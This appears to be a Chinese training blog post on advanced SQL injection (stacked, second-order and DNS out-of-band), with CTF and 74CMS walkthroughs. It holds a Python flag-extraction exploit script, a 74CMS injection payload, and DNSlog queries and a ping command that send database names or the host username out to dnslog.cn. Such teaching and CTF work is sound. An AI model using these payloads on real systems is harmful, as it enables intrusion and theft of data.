小迪安全-Web攻防-SQL注入(复杂注入利用)-CTF&二次&堆叠&DNS带外

一、知识点

1、数据库堆叠注入

根据数据库类型决定是否支持多条语句执行

支持堆叠注入的数据库类型:MySQL,MSSQL,PostgreSQL等

堆叠的样式:

select * from news where id=1;creat table xiaodi like news;

一般而言,代码上和数据库上的堆叠操作权限是不一样的,如果代码上允许堆叠,那数据库上一定可以;如果代码上不行,数据库也可以进行堆叠

参考:https://cnblogs.com/backlion/p/9721687.html

2、数据库二次注入(重点)

应用功能逻辑涉及上导致的先写入后组合的注入

找回密码功能(典型的二次注入经常出现的地方)

1、得到你的用户名(你找回谁的密码)

       注册用户名后,登录网站,进入找回密码的验证阶段

       接收获取的用户名为注册时的用户名,修改密码(查询方式:update)

2、如果在注册用户名时,写了一个SQL注入的语句

        则当进行修改密码时,会对用户名进行调用

        即:update user set password='xiaodi' where username='SQL注入代码'

从而形成注入点

3、数据库DNSlog注入(基本用不到)

解决不回显(反向连接),SQL注入,命令执行,SSRF等

4、黑盒模式分析以上

二次注入:插入后调用显示操作符合

堆叠注入:判断注入后直接调用多条执行

DNS注入:在注入上没有太大的利用价值,其他还行

二、演示案例

1、二次注入-74CMS & [网鼎杯 2018]Unfinish

1.1 CTF-[网鼎杯 2018]Unfinish-黑盒

BUUCTF在线评测

先进入register.php页面,通过注册完账号后,进行账号登录,此时发现我们的用户名被调用了,这时就可以估计此注入点是二次注入

import requests
from bs4 import Beautifulsoup
import time
url = 'http://challenge-fela8d4934d6d577.sandbox.ctfhub.com:10800/'
m = ''
for i in range(100):
    payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
    register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}l
    login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
    req = requests.session()
    rl = req.post(url+'register.php',data = register)
    r2 = req.post (url+'login.php', data = login)
    r3 = req.post (url+'index.php')
    html = r3.text
    soup = Beautifulsoup(html,'html.parser')
    UserName = soup.span.string.strip()
    if int(UserName) ==0:
        break
    m += chr (int (UserName))
    print (m)
    time.sleep(1)
1.2 CMS-74CMS个人会员中心-黑白盒

1)黑盒测试角度:

对学校名称进行注入

我们并没有填入学校地址,但输入了学校的名字,然后地址就会跟着学校名字一起出来,形成二次注入

xiaodi',address=user()#

即insert address value ('xiaodi',address=user()#')

2)白盒测试角度

修改简历信息,抓包发现对应函数为save_resuma_education_edit

创建简历信息过程的函数流转情况:

make1 -> make1_save -> make2 -> make2_save -> make3 -> make3_save -> make4(写入了恶意代码) -> make4_save

函数的实现过程为:

insert -> update -> select

2、堆叠注入-强网杯 2019 随便注

https://www.cnblogs.com/Timesi/p/11426348.html

3、DNS利用-平台介绍&SQL注入&命令执行等

1)平台

DNSLog Platform

http://admin.dnslog.link

http://ceye.io

2)应用场景

解决不回显,反向连接,SQL 注入,命令执行,SSRF 等

SQL注入:

MySQL中如果不支持load_file(),则就无法进行DNSlog注入。

select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));

and (select load_file(concat('//',(select database()),'.69knl9.dnslog.cn/abc')))

3)命令执行

ping %USERNAME%.7logee.dnslog.cn

接收主机的username

  • 20
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值